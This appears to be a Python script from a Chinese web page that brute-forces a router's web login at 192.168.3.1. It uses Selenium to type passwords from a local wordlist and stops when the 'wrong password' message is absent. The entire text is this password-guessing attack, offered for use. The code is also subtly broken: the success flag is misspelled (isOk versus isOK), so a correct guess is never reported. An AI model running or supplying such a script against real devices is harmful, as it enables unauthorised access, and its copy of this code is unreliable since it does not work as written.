from selenium import webdriver
import time
from selenium.webdriver.common.keys import Keys
def checkepassword(password):
driver=webdriver.Chrome()
driver.get("http://192.168.3.1")
time.sleep(3)
inputelem = driver.find_element_by_id("userpassword")
inputelem.send_keys(password)
inputelem.send_keys(Keys.ENTER)
time.sleep(1)
isOK = None
if driver.page_source.find("密码错误")==-1:
# print("登录成功")
isOk=True
else:
# print("登录失败")
isOK=False
driver.close()
return isOK
# checkepassword("123")
passwordfilepath=r"D:\md\es.txt"
passfile=open(passwordfilepath,'rb')
while True:
line=passfile.readline()
if not line:
break
line = line.decode("utf-8","ignore")
linelist=line.split(" # ")
password = linelist[0] #切割密码
isok=checkepassword(password) #测试密码是否正确
print(password,isok)
if isok: #成功跳出循环
break
passfile.close()
网友评论